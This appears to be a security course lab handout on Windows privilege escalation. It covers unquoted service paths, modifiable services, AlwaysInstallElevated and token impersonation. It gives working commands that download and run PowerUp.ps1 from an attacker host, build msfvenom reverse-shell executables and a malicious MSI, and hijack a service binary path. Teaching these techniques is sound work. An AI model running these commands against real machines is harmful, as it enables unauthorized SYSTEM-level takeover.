Aim

To escalate user privileges from a low-level account to NT AUTHORITY\SYSTEM on a Windows system by exploiting common system weaknesses and misconfigurations.

Tools Required

- A shell on a Windows target machine (e.g., from Metasploit, Netcat).
- PowerShell enumeration scripts (e.g., PowerUp.ps1, winPEAS.bat).

Theoretical Background

Similar to Linux, Windows privilege escalation involves moving from a restricted user account to a higher-privileged one, typically Administrator or the all-powerful NT AUTHORITY\SYSTEM. The techniques are different but the principle is the same: find a flaw and exploit it.

Common Vectors:

- **Unquoted Service Paths:** If a service's path is not enclosed in quotes (e.g., C:\Program Files\Some App\service.exe) and an attacker can write to a parent directory (e.g., C:\Program.exe), they can place a malicious executable that will be run by the system.
- **Insecure Service Permissions:** A service might be configured to run as SYSTEM, but a low-privilege user may have been granted permission to modify or restart that service.
- **AlwaysInstallElevated:** A registry setting that allows any user to install .msi packages with SYSTEM privileges.
- **Stored Credentials:** Passwords or hashes stored in plaintext in files (e.g., unattend.xml), the registry, or application configuration files.
- **Token Impersonation:** Exploiting specific privileges like SeImpersonatePrivilege or SeAssignPrimaryTokenPrivilege to steal an access token from a higher-privileged process.

Procedure

1. **Initial Enumeration:**
   - Once you have a shell (e.g., a Meterpreter session), start gathering information.
   - **Manual Checks (in cmd or powershell):**
     - whoami /all: Who are you and what are your privileges/groups?
     - systeminfo: Get OS version, architecture, and installed hotfixes.
     - net user: List local users.
     - net user <username>: Get info about a specific user.
     - wmic service get name,displayname,pathname,startmode: List all services and their paths.
   - **Automated Enumeration:** Use winPEAS or, within Meterpreter, run the post/multi/recon/local_exploit_suggester module. In a PowerShell session, you can use PowerUp.ps1.
     - **PowerUp Example:**
       - powershell -ep bypass (starts a PowerShell session that bypasses execution policy)
       - IEX (New-Object System.Net.Webclient).DownloadString('http://<kali_ip>/PowerUp.ps1') (downloads and loads the script into memory)
       - Invoke-AllChecks (runs all scans)
2. **Exploiting Unquoted Service Paths:**
   - Run wmic service get name,pathname | findstr /i /v "C:\Windows\\" | findstr /i /v """ to find services with unquoted paths outside the Windows directory.
   - PowerUp.ps1 will find this automatically with Get-UnquotedService.
   - Let's say it finds a service with the path C:\Program Files\Vulnerable Service\vuln.exe.
   - Check your permissions on C:\. If you can create files, you can create C:\Program.exe.
   - Use msfvenom to create a malicious Program.exe that gives you a reverse shell.
   - msfvenom -p windows/x64/shell_reverse_tcp LHOST=<kali_ip> LPORT=4445 -f exe -o Program.exe
   - Upload Program.exe to C:\ on the target.
   - Restart the service (or reboot the machine) and catch the shell with a Netcat listener.
3. **Abusing Insecure Service Permissions:**
   - PowerUp.ps1's Get-ModifiableService will find services you can alter.
   - Let's say you find a service named VulnSvc that you can modify.
   - You can change the binary path (binPath) of the service to point to your own malicious executable.
   - **Commands:**
     - sc config VulnSvc binPath= "C:\path\to\your\reverse_shell.exe"
     - sc start VulnSvc
   - Catch the incoming SYSTEM shell on your listener.
4. **Checking for AlwaysInstallElevated:**
   - This requires two registry keys to be set.

- **Commands to check:**
  - reg query HKLM\SOFTWARE\Policies\Microsoft\Windows\Installer /v AlwaysInstallElevated
  - reg query HKCU\SOFTWARE\Policies\Microsoft\Windows\Installer /v AlwaysInstallElevated
- If both return a value of 1, the system is vulnerable.
- Use msfvenom to create a malicious .msi package.
  - msfvenom -p windows/shell_reverse_tcp LHOST=<kali_ip> LPORT=4446 -f msi -o malicious.msi
- Upload the .msi to the target and "install" it using msiexec /quiet /i C:\path\to\malicious.msi. The /quiet flag installs it silently, and it will execute with SYSTEM privileges, giving you a shell.

Expected Results

The automated enumeration scripts will highlight several potential privilege escalation paths. By exploiting one of these (like an unquoted service path or an insecure service permission), you will successfully execute code as NT AUTHORITY\SYSTEM, gaining full control over the Windows machine.

Post-Lab Questions

1. Explain why an unquoted service path like C:\Program Files\App\service.exe is a vulnerability. How does Windows try to resolve this path?
2. You have a Meterpreter shell and run getprivs. You see SeImpersonatePrivilege is enabled. What famous exploit technique could you use to get to SYSTEM? (Juicy Potato / Rotten Potato).
3. What is the purpose of the winPEAS and PowerUp.ps1 scripts?